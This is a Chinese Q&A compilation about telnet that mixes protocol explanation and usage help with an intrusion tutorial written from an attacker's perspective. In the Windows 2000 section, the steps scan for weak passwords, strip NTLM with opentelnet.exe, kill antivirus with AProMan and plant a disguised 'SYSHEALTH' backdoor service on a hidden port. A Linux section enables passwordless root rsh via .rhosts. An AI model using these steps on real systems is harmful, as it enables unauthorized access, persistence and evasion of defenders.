telnetc源碼
❶ linux系統中telnet server的源代碼,要個直接拿來能用的
linux光碟中應該自帶的,直接安裝那裡面的rpm包即可,方便,也可以減少兼容性問題。
❷ telnet 命令使用方法詳解,telnet命令怎麼用
1、什麼是Telnet?
對於Telnet的認識,不同的人持有不同的觀點,可以把Telnet當成一種通信協議,但是對於入侵者而言,Telnet只是一種遠程登錄的工具。一旦入侵者與遠程主機建立了Telnet連接,入侵者便可以使用目標主機上的軟、硬體資源,而入侵者的本地機只相當於一個只有鍵盤和顯示器的終端而已。
2、Telnet被入侵者用來做什麼
(1)Telnet是控制主機的第一手段
如果入侵者想要在遠程主機上執行命令,需要建立IPC$連接,然後使用net time命令查看系統時間,最後使用at命令建立計劃任務才能完成遠程執行命令。雖然這種方法能夠遠程執行命令,但相比之下,Telnet方式對入侵者而言則會方便得多。入侵者一旦與遠程主機建立Telnet連接,就可以像控制本地計算機一樣來控制遠程計算機。可見,Telnet方式是入侵者慣於使用的遠程式控制制方式,當他們千方百計得到遠程主機的管理員許可權後,一般都會使用Telnet方式進行登錄。
(2)用來做跳板
入侵者把用來隱身的肉雞稱之為「跳板」,他們經常用這種方法,從一個「肉雞」登錄到另一個「肉雞」,這樣在入侵過程中就不會暴露自己的IP地址。
3.關於NTLM驗證
由於Telnet功能太強大,而且也是入侵者使用最頻繁的登錄手段之一,因此微軟公司為Telnet添加了身份驗證,稱為NTLM驗證,它要求Telnet終端除了需要有Telnet服務主機的用戶名和密碼外,還需要滿足NTLM驗證關系。NTLM驗證大大增強了Telnet主機的安全性,就像一隻攔路虎把很多入侵者拒之門外。
4、Telnet語法
telnet [-a][-e escape char][-f log file][-l user][-t term][host [port]]
-a 企圖自動登錄。除了用當前已登陸的用戶名以外,與 -l 選項相同。
-e 跳過字元來進入 telnet 客戶提示。
-f 客戶端登錄的文件名
-l 指定遠程系統上登錄用的用戶名稱。
要求遠程系統支持 TELNET ENVIRON 選項。
-t 指定終端類型。
支持的終端類型僅是: vt100, vt52, ansi 和 vtnt。
host 指定要連接的遠程計算機的主機名或 IP 地址。
port 指定埠號或服務名。
5.使用Telnet登錄
登錄命令:telnet HOST [PORT] 例如:telnet 61.152.158.132 23(默認埠)
斷開Telnet連接的命令:exit
成功地建立Telnet連接,除了要求掌握遠程計算機上的賬號和密碼外,還需要遠程計算機已經開啟「Telnet服務」,並去除NTLM驗證。也可以使用專門的Telnet工具來進行連接,比如STERM,CTERM等工具。
6.Telnet典型入侵(如果以下內容不太了解,可以簡單了解)
1.Telnet典型入侵步驟
步驟一:建立IPC$連接。其中sysback是前面建立的後門賬號。
步驟二:開啟遠程主機中被禁用的Telnet服務。
步驟三:斷開IPC$連接。
步驟四:去掉NTLM驗證。如果沒有去除遠程計算機上的NTLM驗證,在登錄遠程計算機的時候就會失敗。
不過入侵者會使用各種方法使NTLM驗證形同虛設。解除NTLM的方法有很多,下面列出一些常用的方法,來看看入侵者如何去除NTLM驗證。
(1)方法一
首先,在本地計算機上建立一個與遠程主機上相同的賬號和密碼。
然後,通過「開始」→「程序」→「附件」找到「命令提示符」,使用滑鼠右鍵單擊「命令提示符」,然後選擇「屬性」
在「以其他用戶身份運行(U)」前面「打鉤」,然後單擊「確定」按鈕。接著,仍然按照上述路徑找到「命令提示符」,用滑鼠左鍵單擊打開,得到如圖所示對話框。
如圖所示,鍵入「用戶名」和「密碼」。
單擊「確定」按鈕後,得到MS-DOS界面,然後用該MS-DOS進行Telnet登錄。
鍵入「telnet 192.168.27.128」命令並回車後,在得到的界面中鍵入「y」表示發送密碼並登錄,如圖所示。
最後得到就是遠程主機為Telnet終端用戶打開的Shell,在該Shell中輸入的命令將會直接在遠程計算機上執行。
比如,鍵入「net user」命令來查看遠程主機上的用戶列表。
(2)方法二
該方法使用工具NTLM.EXE來去除NTLM驗證。首先與遠程主機建立IPC$連接,然後將NTLM.EXE拷貝至遠程主機,最後通過at命令使遠程計算機執行NTLM.EXE。
計劃任務執行NTLM.EXE後,便可鍵入「telnet 192.168.27.128」命令來登錄遠程計算機。
最後得到登錄界面
在該登錄界面中鍵入用戶名和密碼,如果用戶名和密碼正確,便會登錄到遠程計算 機,得到遠程計算機的Shell。
成功登錄。
另外,還可以使用與opentelnet.exe相配套的程序resumetelnet.exe來恢復遠程主機的NTLM驗證,命令格式為「ResumeTelnet.exe \\server sername password」。
執行後回顯可知,resumetelnet.exe關閉了目標主機的Telnet服務,恢復了NTLM驗證。
Telnet高級入侵全攻略
從前面的介紹可以看出,即使計算機使用了NTLM驗證,入侵者還是能夠輕松地去除NTLM驗證來實現Telnet登錄。如果入侵者使用23號埠登錄,管理員便可以輕易地發現他們,但不幸的是,入侵者通常不會通過默認的23號埠進行Telnet連接。那麼入侵者究竟如何修改Telnet埠,又如何修改Telnet服務來隱蔽行蹤呢?下面舉一些常見的例子來說明這一過程,並介紹一下完成這一過程所需要的工具。
X-Scan:用來掃出存在NT弱口令的主機。
opentelnet:用來去NTLM驗證、開啟Telnet服務、修改Telnet服務埠。
AProMan:用來查看進程、殺死進程。
instsrv:用來給主機安裝服務。
(1)AProMan簡介
AproMan以命令行方式查看進程、殺死進程,不會被殺毒軟體查殺。舉個例子,如果入侵者發現目標主機上運行有殺毒軟體,會導致上傳的工具被殺毒軟體查殺,那麼他們就會要在上傳工具前關閉殺毒防火牆。使用方法如下:
c:\AProMan.exe -a 顯示所有進程
c:\AProMan.exe -p 顯示埠進程關聯關系(需Administrator許可權)
c:\AProMan.exe -t [PID] 殺掉指定進程號的進程
c:\AProMan.exe -f [FileName] 把進程及模塊信息存入文件
(2)instsrv簡介
instsrv是一款用命令行就可以安裝、卸載服務的程序,可以自由指定服務名稱和服務所執行的程序。instsrv的用法如下:
安裝服務:instsrv <服務名稱> <執行程序的位置>
卸載服務:instsrv <服務名稱> REMOVE
還有另一款優秀的遠程服務管理工具SC。它屬於命令行工具,可以在本地對遠程計算機上的服務進行查詢、啟動、停止和刪除。它的用法很簡單,這里不作介紹了。下面通過實例來介紹入侵者如何實現Telnet登錄並留下Telnet後門的過程。
步驟一:掃出有NT弱口令的主機。在X-Scan的「掃描模塊」中選中「NT-SERVER弱口令」。
然後在「掃描參數中」指定掃描范圍為「192.168.27.2到192.168.27.253」。
等待一段時間後,得到掃描結果。
步驟二:用opentelnet打開遠程主機Telnet服務、修改目標主機埠、去除NTLM驗證。
無論遠程主機是否開啟「Telnet服務」,入侵者都可以通過工具opentelnet來解決。比如,通過「opentelnet \\192.168.27.129 administrator "" 1 66」命令為IP地址為192.168. 27.129的主機去除NTLM認證,開啟Telnet服務,同時又把Telnet默認的23號登錄埠改成66號埠。
步驟三:把所需文件(instsrv.exe、AProMan.exe)拷貝到遠程主機。
首先建立IPC$,然後通過映射網路硬碟的方法把所需文件拷貝、粘貼到遠程計算機的c:\winnt文件夾中。
拷貝成功後。
步驟四:Telnet登錄。
在MS-DOS中鍵入命令「telnet 192.168.27.129 66」來登錄遠程主機192.168.27.129。
步驟五:殺死防火牆進程。
如果入侵者需要把類似木馬的程序拷貝到遠程主機並執行,那麼他們會事先關閉遠程主機中的殺毒防火牆。雖然這里沒有拷貝類似木馬的程序到遠程主機,但還是要介紹一下這一過程。當入侵者登錄成功後,他們會進入到c:\winnt目錄中使用AProMan程序。首先通過命令 AProMan –A查看所有進程,然後找到殺毒防火牆進程的PID,最後使用AProMan –t [PID]來殺掉殺毒防火牆。
步驟六:另外安裝更為隱蔽的Telnet服務。
為了事後仍然能登錄到該計算機,入侵者在第一次登錄之後都會留下後門。這里來介紹一下入侵者如何通過安裝系統服務的方法來讓Telnet服務永遠運行。在安裝服務之前,有必要了解一下Windows操作系統是如何提供「Telnet服務」的。打開「計算機管理」,然後查看「Telnet服務」屬性。
在「Telnet 的屬性」窗口中,可以看到其中「可執行文件的路徑」指向「C:\WINNT\ SYSTEM32\tlntsvr.exe」。可見,程序tlntsvr.exe就是Windows系統中專門用來提供「Telnet服務」的。也就是說,如果某服務指向該程序,那麼該服務就會提供Telnet服務。因此,入侵者可以自定義一個新服務,將該服務指向tlntsvr.exe,從而通過該服務提供的Telnet服務登錄,這樣做後,即使遠程主機上的Telnet服務是被禁用的,入侵者也可以毫無阻礙的登錄到遠程計算機,這種方法被稱之為 Telnet後門。下面就介紹一下上述過程是如何實現的。首先進入instsrv所在目錄。
然後使用instsrv.exe建立一個名為「SYSHEALTH」的服務,並把這個服務指向C:\WINNT z\SYSTEM32\tlntsvr.exe,根據instsrv.exe的用法,鍵入命令「instsrv.exe SYSHEALTH C:\WINNT\SYSTEM32\tlntsvr.exe」。
一個名為「SYSHEAHTH」的服務就這樣建立成功了。雖然從表面看上去該服務與遠程連接不存在任何關系,但是實際上該服務是入侵者留下的Telnet後門服務。
通過「計算機管理」可以看到該服務已經添加在遠程計算機上。入侵者一般會把這個服務的啟動類型設置成「自動」,把原來的「Telnet服務」停止並禁用。
通過驗證可知,雖然遠程主機上的Telnet服務已經被停止並禁用,但入侵者仍然能夠 通過Telnet來控制遠程主機。通過這些修改,即使管理員使用「netstat –n」命令來查看開放埠號也看不出66埠正在提供Telnet服務,此命令平常還可以拿來判斷埠的連接情況。
❸ telnet命令
Telnet用法
一:簡介
雖然目前大家都認為telnet/ftp/rsh作為不安全的服務已經不太使用,但在區域網內部
的某些情況下仍然廣泛地被使用,特別是安全性不是很重要的場合下,某些服務如FTP,
由於歷史較長,至今大多數場合仍然大有用處。很多人在使用這些服務直接登錄作為root
時遇到問題,本文就簡單地介紹一下設置方法和相關問題。
二:環境
假設本文的所有操作環境是Redhat Linux,一台為telnet/ftp/rsh/ssh客戶,IP為
192.168.0.2,主機名為
client.domain.com;另一台為伺服器,IP為192.168.0.1,主機名為
server.domain.com,兩者都運行redhat linux 7.1 .
三:用法
1. 直接telnet作為root.
a. 在伺服器server.domain.com上運行/usr/sbin/ntsysv後選中telnet服務,擊OK。
b. 運行#/sbin/service xinetd restart 啟動telnet服務
c. 運行#e cho "pts/0" >> /etc/securetty 和
#e cho "pts/1" >> /etc/securetty
......
更多的遠程終端允許直接登錄作為root
d. 確保在server.domain.com上的/etc/hosts中有類似下面的行。
192.168.1.2 client.domain.com client
如果沒有,則在server上運行echo "192.168.1.2 client.domain.com client" >>
/etc/hosts
至此你應該能從client遠程telnet直接作為root了。
如果伺服器是redhat 6.x,則加單個數字如0,1,2,3...到/etc/securetty後面,一個數
字一行,必須以0開始。
僅僅加數字而己,沒有pts,tty。
如果伺服器是redhat 5.x,則加ttyp0, ttyp1,ttyp2... 等到/etc/securetty.
經常有人問,為什麼telnet/ftp進伺服器時需要等很久?那是因為當伺服器檢測出有客戶
遠程連接進來時,它知道客戶的IP,但根據telnet/ftp服務的內部機制,它需要反向檢
查該IP的域名,如果你有DNS伺服器且設置了反向域名,則很快查到,若沒有,則簡單地
在伺服器的/etc/hosts中加入客戶的記錄就可以了。
2. 直接rsh作為root.
a. 在伺服器上運行/urs/bin/ntsysv選中rexec ,rlogin ,rsh三項服務。
b. 運行#/sbin/service xinetd restart 啟動該三項服務。
c. 運行#e cho "rexec" >> /etc/securetty;echo "rlogin" >>
/etc/securetty;echo "rsh" >> /etc/securetty
d. 在伺服器上運行#e cho "192.168.0.2 root" >> /root/.rhosts
或者 #e cho "client root" >> /root/.rhosts且確保在伺服器上的/etc/hosts中有
client的記錄
192.168.0.2 client.domain.com client
至此你應該可以從client直接以root身份rsh到伺服器不需密碼了。
註: 僅僅redhat 7.x 開始需要為rsh設置/etc/securetty.
3. 直接ftp作為root.
這個比較簡單,就是在server上的/etc/ftpusers中的root一行前面放個注釋#即可。
在現代的網路技術下,telnet/rsh/ftp都可以被ssh/scp代替了,甚至已經有了一個
winscp,圖形化的SCP工具,在http://winscp.vse.cz/eng/ , 免費的windows ssh客
戶有許多,象tera term , putty等等。
不過,FTP在某些場合仍然有它的用處。下面例舉兩種:
a. FTP可以直接把遠端伺服器上某個目錄壓縮後傳送到客戶端,如遠程伺服器有sbin目
錄,可以用get sbin.tar.gz直接把整個目錄壓縮後FTP下來成為單個壓縮文件。這個方
式可以很好地用在遠程復制整個
linux OS。
b. 為了遠程復制另一台linux OS,可以用redhat 光碟啟動到准備進行分區的界面(選擇
自動還是手動分區的界面),然後用ALT+F2切換到第二個終端,設置網卡的IP和默認網關,
用fdisk/e2fsck 分區用格式化本地硬碟,用FTP遠程得到伺服器的所有目錄除了proc目
錄,然後即可以復制一台與遠端一樣的伺服器。
詳細做法請參考《文章薈萃》中另一篇文章
http://www.linuxforum.net/doc/cp-wu.html 《如何遠程復制另一台Linux伺服器及
相關問題
》。
4. 直接ssh作為root.
OpenSSH的默認設置sshd_config是允許登錄作為root的 PermitRootLogin yes ,你可
以改為no去禁止這個功能增強安全性。
為了直接不用密碼登錄作為root,最好是採用RSA鍵對認證方式進行。
❹ 怎麼用c語言調用telnet這個程序
windows系統預設沒有telnet的(這個要另外添加的)
所以你用system("telnet")是不行的
若你的系統已安裝了telnet且在路徑中,直接用
system("telnet")就可以了
❺ C語言獲取telnet返回值寫文件
telnet的輸出不在本地管道,所以你沒辦法重定向到文件裡面,或許你用.net庫函數調用PowerShell能實現(只是想法,未嘗試),不知道會不會偏離你的要求太遠了。
❻ 編寫一個類似nc的telnet 的程序(用c/c++)
你好!這個和你的要求,略微有點區別
你是要的控制台程序嗎,這是一個MFC窗體程序
❼ C#寫的telnet客戶端,在連接服務端後,顯示的字元出現混亂,怎麼辦
Telnet服務雖然也屬於客戶機/伺服器模型的服務,但它更大的意義在於實現了基於Telnet協議的遠程登錄(遠程互動式計算),那麼就讓我們來認識一下遠程登錄。
1 遠程登陸的基本概念
先來看看什麼叫登錄:分時系統允許多個用戶同時使用一台計算機,為了保證系統的安全和記帳方便,系統要求每個用戶有單獨的帳號作為登錄標識,系統還為每個用戶指定了一個口令。用戶在使用該系統之前要輸入標識和口令,這個過程被稱為'登錄'。
遠程登陸是指用戶使用Telnet命令,使自己的計算機暫時成為遠程主機的一個模擬終端的過程。模擬終端等效於一個非智能的機器,它只負責把用戶輸入的每個字元傳遞給主機,再將主機輸出的每個信息回顯在屏幕上。
2 遠程登陸的產生及發展
我們可以先構想一個提供遠程文字編輯的服務,這個服務的實現需要一個接受編輯文件請求和數據的伺服器以及一個發送此請求的客戶機。客戶機將建立一個從本地機到伺服器的TCP連接,當然這需要伺服器的應答,然後向伺服器發送鍵入的信息(文件編輯信息),並讀取從伺服器返回的輸出。以上便是一個標准而普通的客戶機/伺服器模型的服務。
似乎有了客戶機/伺服器模型的服務,一切遠程問題都可以解決了。然而實際並非你想像的那樣簡單,如果我們僅需要遠程編輯文件,那麼剛才所構想的服務完全可以勝任,但假如我們的要求並不是這么簡單,我們還想實現遠程用戶管理,遠程數據錄入,遠程系統維護,想實現一切可以在遠程主機上實現的操作,那麼我們將需要大量專用的伺服器程序並為每一個可計算服務都使用一個伺服器進程,隨之而來的問題是:遠程機器會很快對伺服器進程應接不暇,並淹沒在進程的海洋里(我們在這里排除最專業化的遠程機器)。
那麼有沒有辦法解決呢?當然有,我們可以用遠程登錄來解決這一切。我們允許用戶在遠地機器上建立一個登錄會話,然後通過執行命令來實現更一般的服務,就像在本地操作一樣。這樣,我們便可以訪問遠地系統上所有可用的命令,並且系統設計員不需提供多個專用地伺服器程序。
問題發展到這里好像前途一片光明了,用遠程登錄總應該解決問題了吧,但要實現遠程登陸並不簡單。不考慮網路設計的計算機系統期望用戶只從直接相連的鍵盤和顯示器上登錄,在這種機器上增加遠程登陸功能需要修改機器的操作系統,這是極其艱巨也是我們盡量避免的。因此我們應該集中力量構造遠程登陸伺服器軟體,雖然這樣也是比較困難的。為什麼說這樣做也比較困難呢?
舉個例子來說:一般,操作系統會為一些特殊按鍵分配特殊的含義,比如本地系統將'Ctrl+C'解釋為:'終止當前運行的命令進程'。但假設我們已經運行了遠程登陸伺服器軟體,'Ctrl+C'也有可能無法被傳送到遠地機器,如果客戶機真的將'Ctrl+C'傳到了遠地機器,那麼'Ctrl+C'這個命令有可能不能終止本地的進程,也就是說在這里很可能會產生混亂。而且這僅僅是遇到的難題之一。
但盡管有技術上的困難,系統編程人員還是設法構造了能夠應用於大多數操作系統的遠程登陸伺服器軟體,並構造了充當客戶機的應用軟體。通常,客戶機軟體取消了除一個鍵以外的所有鍵的本地解釋,並將這些本地解釋相應的轉換成遠地解釋,這就使得客戶機軟體與遠地機器的交互,就如同坐在遠程主機面前一樣,從而避免了上述所提到的混亂。而那個唯一例外的鍵,可以使用戶回到本地環境。
將遠程登陸伺服器設計為應用級軟體,還有另一個要求,那就是需要操作系統提供對偽終端(pseudo terminal)的支持。我們用偽終端描述操作系統的入口點,它允許像Telnet伺服器一樣的程序向操作系統傳送字元,並且使得字元像是來自本地鍵盤一樣。只有使用這樣的操作系統,才能將遠程登陸伺服器設計為應用級軟體(比如Telnet伺服器軟體),否則,本地操作系統和遠地系統傳送將不能識別從對方傳送過來的信息(因為它們僅能識別從本地鍵盤所鍵入的信息),遠程登陸將宣告失敗。
將遠程登陸伺服器設計為應用級軟體雖然有其顯著的優點:比將代碼嵌入操作系統更易修改和控制伺服器。但其也有效率不高的缺點(後面的內容將會給予解釋),好在用戶鍵入信息的速率不高,這種設計還是可以接受的。
3 遠程登錄的工作過程
使用Telnet協議進行遠程登陸時需要滿足以下條件:在本的計算機上必須裝有包含Telnet協議的客戶程序;必須知道遠程主機的Ip地址或域名;必須知道登錄標識與口令。
Telnet遠程登錄服務分為以下4個過程:
1)本地與遠程主機建立連接。該過程實際上是建立一個TCP連接,用戶必須知道遠程主機的Ip地址或域名;
2)將本地終端上輸入的用戶名和口令及以後輸入的任何命令或字元以NVT(Net Virtual Terminal)格式傳送到遠程主機。該過程實際上是從本地主機向遠程主機發送一個IP數據報;
3)將遠程主機輸出的NVT格式的數據轉化為本地所接受的格式送回本地終端,包括輸入命令回顯和命令執行結果;
4)最後,本地終端對遠程主機進行撤消連接。該過程是撤銷一個TCP連接。
上面的內容只是討論了遠程登陸最基本的東西,其中的復雜和編程人員的艱辛是我們難以想像的,不知道你在舒服的使用Telnet的同時,是否想到了這些!
三 Telnet協議
我們知道Telnet伺服器軟體是我們最常用的遠程登錄伺服器軟體,是一種典型的客戶機/伺服器模型的服務,它應用Telnet協議來工作。那麼,什麼是Telnet協議?它都具備哪些特點呢?
1 基本內容
Telnet協議是TCP/IP協議族中的一員,是Internet遠程登陸服務的標准協議。應用Telnet協議能夠把本地用戶所使用的計算機變成遠程主機系統的一個終端。它提供了三種基本服務:
1)Telnet定義一個網路虛擬終端為遠的系統提供一個標准介面。客戶機程序不必詳細了解遠的系統,他們只需構造使用標准介面的程序;
2)Telnet包括一個允許客戶機和伺服器協商選項的機制,而且它還提供一組標准選項;
3)Telnet對稱處理連接的兩端,即Telnet不強迫客戶機從鍵盤輸入,也不強迫客戶機在屏幕上顯示輸出。
2 適應異構
為了使多個操作系統間的Telnet交互操作成為可能,就必須詳細了解異構計算機和操作系統。比如,一些操作系統需要每行文本用ASCII回車控制符(CR)結束,另一些系統則需要使用ASCII換行符(LF),還有一些系統需要用兩個字元的序列回車-換行(CR-LF);再比如,大多數操作系統為用戶提供了一個中斷程序運行的快捷鍵,但這個快捷鍵在各個系統中有可能不同(一些系統使用CTRL+C,而另一些系統使用ESCAPE)。如果不考慮系統間的異構性,那麼在本地發出的字元或命令,傳送到遠地並被遠地系統解釋後很可能會不準確或者出現錯誤。因此,Telnet協議必須解決這個問題。
為了適應異構環境,Telnet協議定義了數據和命令在Internet上的傳輸方式,此定義被稱作網路虛擬終端NVT(Net Virtual Terminal)。它的應用過程如下:
對於發送的數據:客戶機軟體把來自用戶終端的按鍵和命令序列轉換為NVT格式,並發送到伺服器,伺服器軟體將收到的數據和命令,從NVT格式轉換為遠地系統需要的格式;
對於返回的數據:遠地伺服器將數據從遠地機器的格式轉換為NVT格式,而本地客戶機將將接收到的NVT格式數據再轉換為本地的格式。
對於NVT格式的詳細定義,有興趣的朋友可以去查找相關資料。
3 傳送遠地命令
我們知道絕大多數操作系統都提供各種快捷鍵來實現相應的控制命令,當用戶在本地終端鍵入這些快捷鍵的時候,本地系統將執行相應的控制命令,而不把這些快捷鍵作為輸入。那麼對於Telnet來說,它是用什麼來實現控制命令的遠地傳送呢?
Telnet同樣使用NVT來定義如何從客戶機將控制功能傳送到伺服器。我們知道USASCII字元集包括95個可列印字元和33個控制碼。當用戶從本地鍵入普通字元時,NVT將按照其原始含義傳送;當用戶鍵入快捷鍵(組合鍵)時,NVT將把它轉化為特殊的ASCII字元在網路上傳送,並在其到達遠地機器後轉化為相應的控制命令。將正常ASCII字元集與控制命令區分主要有兩個原因:
1)這種區分意味著Telnet具有更大的靈活性:它可在客戶機與伺服器間傳送所有可能的ASCII字元以及所有控制功能;
2)這種區分使得客戶機可以無二義性的指定信令,而不會產生控制功能與普通字元的混亂。
4 數據流向
上面我們提到過將Telnet設計為應用級軟體有一個缺點,那就是:效率不高。這是為什麼呢?下面給出Telnet中的數據流向:
數據信息被用戶從本地鍵盤鍵入並通過操作系統傳到客戶機程序,客戶機程序將其處理後返回操作系統,並由操作系統經過網路傳送到遠地機器,遠地操作系統將所接收數據傳給伺服器程序,並經伺服器程序再次處理後返回到操作系統上的偽終端入口點,最後,遠地操作系統將數據傳送到用戶正在運行的應用程序,這便是一次完整的輸入過程;輸出將按照同一通路從伺服器傳送到客戶機。
因為每一次的輸入和輸出,計算機將切換進程環境好幾次,這個開銷是很昂貴的。還好用戶的鍵入速率並不算高,這個缺點我們仍然能夠接受。
5 強制命令
我們應該考慮到這樣一種情況:假設本地用戶運行了遠地機器的一個無休止循環的錯誤命令或程序,且此命令或程序已經停止讀取輸入,那麼操作系統的緩沖區可能因此而被占滿,如果這樣,遠地伺服器也無法再將數據寫入偽終端,並且最終導致停止從TCP連接讀取數據,TCP連接的緩沖區最終也會被占滿,從而導致阻止數據流流入此連接。如果以上事情真的發生了,那麼本地用戶將失去對遠地機器的控制。
為了解決此問題,Telnet協議必須使用外帶信令以便強制伺服器讀取一個控制命令。我們知道TCP用緊急數據機制實現外帶數據信令,那麼Telnet只要再附加一個被稱為數據標記(date mark)的保留八位組,並通過讓TCP發送已設置緊急數據比特的報文段通知伺服器便可以了,攜帶緊急數據的報文段將繞過流量控制直接到達伺服器。作為對緊急信令的相應,伺服器將讀取並拋棄所有數據,直到找到了一個數據標記。伺服器在遇到了數據標記後將返回正常的處理過程。
6 選項協商
由於Telnet兩端的機器和操作系統的異構性,使得Telnet不可能也不應該嚴格規定每一個telnet連接的詳細配置,否則將大大影響Telnet的適應異構性。因此,Telnet採用選項協商機制來解決這一問題。
Telnet選項的范圍很廣:一些選項擴充了大方向的功能,而一些選項制涉及一些微小細節。例如:有一個選項可以控制Telnet是在半雙工還是全雙工模式下工作(大方向);還有一個選項允許遠地機器上的伺服器決定用戶終端類型(小細節)。
Telnet選項的協商方式也很有意思,它對於每個選項的處理都是對稱的,即任何一端都可以發出協商申請;任何一端都可以接受或拒絕這個申請。另外,如果一端試圖協商另一端不了解的選項,接受請求的一端可簡單的拒絕協商。因此,有可能將更新,更復雜的Telnet客戶機伺服器版本與較老的,不太復雜的版本進行交互操作。如果客戶機和伺服器都理解新的選項,可能會對交互有所改善。否則,它們將一起轉到效率較低但可工作的方式下運行。所有的這些設計,都是為了增強適應異構性,可見Telnet的適應異構性對其的應用和發展是多麼重要。
上面討論了一些原理方面的東西,雖然我們在Telnet的使用過程中很難接觸到這一層面,但我認為了解這些是有意義的,它會給我們帶來許多啟示。下面讓我們來看看Win2000的Telnet服務。
四 Win2000的Telnet服務
其實從應用層面上,Win2000的Telnet服務並沒有什麼可說的,絕大部分內容你都可以從HELP文件中得到,我在此只是把它稍微整理一下而已。
1 基本配置
Win2000為我們提供了Telnet客戶機和伺服器程序:Telnet.exe是客戶機程序(Client),tlntsvr.exe是伺服器程序(server),同時它還為我們提供了Telnet伺服器管理程序tlntadmn.exe。
Windows 2000 默認安裝了 Telnet 服務,但是並沒有默認啟動。下面給出HELP文件中 Telnet 服務的一部分默認設置:
AllowTrustedDomain:是否允許域用戶訪問。默認值是1,允許信任域用戶訪問。可以改為0: 不允許域用戶訪問(只允許本地用戶)。
DefaultDomain:可以對與該計算機具有信任關系的任何域設置。默認值是"."。
DefaultShell:顯示 shell 安裝的路徑位置。默認值是: %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins:在連接終止之前顯示嘗試登錄失敗的最大次數。默認是3。
LoginScript:顯示 Telnet 伺服器登錄腳本的路徑位置。默認的位置就是「%systemroot%\System32\login.cmd」,你可以更改腳本內容,這樣登錄進Telnet的歡迎屏幕就不一樣了。
NTLM:NTLM身份驗證選項。默認是2。可以有下面這些值:
0: 不使用 NTLM 身份驗證。
1: 先嘗試 NTLM 身份驗證,如果失敗,再使用用戶名和密碼。
2: 只使用 NTLM 身份驗證。
TelnetPort:顯示 telnet 伺服器偵聽 telnet 請求的埠。默認是:23。你也可以更改為其他埠。
以上各項設置你可以使用tlntadmn.exe(Telnet伺服器管理程序)來進行非常方便的配置,配置後需要重新啟動Telnet服務。如圖1
2 NTLM
提到了telnet就不能不提NTLM,我想這也是讓入侵者最為頭痛的一件事,哪怕你獲得了管理員帳號和密碼,想簡單通過NTLM也並非易事,況且win2000中的telnet默認僅以NTLM方式驗證身份,這就讓我們不得不關注NTLM這個東東,那麼什麼是NTLM呢?
早期的SMB協議在網路上明文傳輸口令,後來出現了"LAN Manager Challenge/Response"驗證機制,簡稱LM,它十分簡單以至很容易被破解,微軟隨後提出了WindowsNT挑戰/響應驗證機制,即NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。NTLM工作流程是這樣的:
1、客戶端首先在本地加密當前用戶的密碼成為密碼散列
2、客戶端向伺服器發送自己的帳號,這個帳號是沒有經過加密的,明文直接傳輸
3、伺服器產生一個16位的隨機數字發送給客戶端,作為一個 challenge(挑戰)
4、客戶端再用加密後的密碼散列來加密這個 challenge ,然後把這個返回給伺服器。作為 response(響應)
5、伺服器把用戶名、給客戶端的challenge 、客戶端返回的 response 這三個東西,發送域控制器
6、域控制器用這個用戶名在 SAM密碼管理庫中找到這個用戶的密碼散列,然後使用這個密碼散列來加密 challenge。
7、域控制器比較兩次加密的 challenge ,如果一樣,那麼認證成功。
從上面的過程我們可以看出,NTLM是以當前用戶的身份向Telnet伺服器發送登錄請求的,而不是用你掃到的對方管理員的帳戶和密碼登錄,顯然,你的登錄將會失敗。舉個例子來說,你家的機器名為A(本地機器),你入侵的機器名為B(遠地機器),你在A上的帳戶是xinxin,密碼是1234,你掃到B的管理員帳號是Administrator,密碼是5678,當你想Telnet到B時,NTLM將自動以當前用戶的帳號和密碼作為登錄的憑據來進行上面的7項操作,即用xinxin和1234,而並非用你掃到的Administrator和5678,且這些都是自動完成的,根本不給你插手的機會,因此你的登錄操作將失敗。
由於Telnet伺服器對NTLM的使用有3個選項,所以當你Telnet遠地機器時,會顯示下面情況中的一種:
1)身份驗證選項=0時
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\為0時不使用NTML身份驗證,直接輸入用戶名和密碼,比如你可以輸入掃到的Administrator和5678
2)身份驗證選項=1時
=====================================
NTLM Authentication failed e to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\先嘗試 NTLM 身份驗證,如果失敗,再使用用戶名和密碼,其實這種方式對於我們來說,與上一種方式沒什麼區別
3)身份驗證選項=2時
=====================================
NTLM Authentication failed e to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遺失對主機的連接。
C:\>
\\仔細看看上面的顯示,根本沒有給你輸入用戶名和密碼的機會,直接斷開連接,掃到了密碼也是白掃
所以對於入侵者來說,NTLM是橫在我們面前的一座大山,必須要除掉它,一般我們有如下幾種方法:
1通過修改遠程注冊表更改telnet伺服器配置,將驗證方式從2改為1或0;
2使用NTLM.exe,上傳後直接運行,可將telnet伺服器驗證方式從2改為1;
3在本地建立掃描到的用戶,以此用戶身份開啟telnet客戶機並進行遠程登錄;
4使用軟體,比如opentelnet.exe(需要管理員許可權且開啟IPC管道)
5使用腳本,如RTCS,(需要管理員許可權但不依賴IPC管道)
基本上是以上的5種,其中後兩種是我們比較常用的開telnet的手法,而且使用方法十分簡單,命令如下:
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\伺服器地址 管理員用戶名 密碼 驗證方式(填0或1) telnet埠
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe
五 在telnet中該做什麼
本來寫到上面就想結束了,不過許多朋友都說telnet上去後不知道該做什麼了,既然這樣,那我就拋磚引玉吧,這次不講具體做法,只是說說思路,什麼?為什麼不講具體做法?篇幅不夠嘛,以後我會一一解釋的。
1 查看系統信息
呵呵,其實就是隨處看看,看看他的系統配置和版本(用type c:\boot.ini來知道pro版或server版),看看都裝了什麼服務或軟體(從目錄名就可以知道了),看看有什麼重要或有趣的文件啦(唉,要是國外的機器,看也看不懂),看看他的用戶情況,總之就是盡可能多的了解系統,為一會裝後門摸底。
2 使用tftp傳送文件
想必大家都遇到過在telnet中傳輸文件的問題,因為我們習慣了在ipc管道中的文件傳輸,所以有些朋友喜歡用net share ipc$ 來打開管道,進而利用來傳輸文件。不過這樣反而麻煩,既然我們已經得到了shell,我們可以用TFPT命令來完成這一切,什麼是TFTP呢?
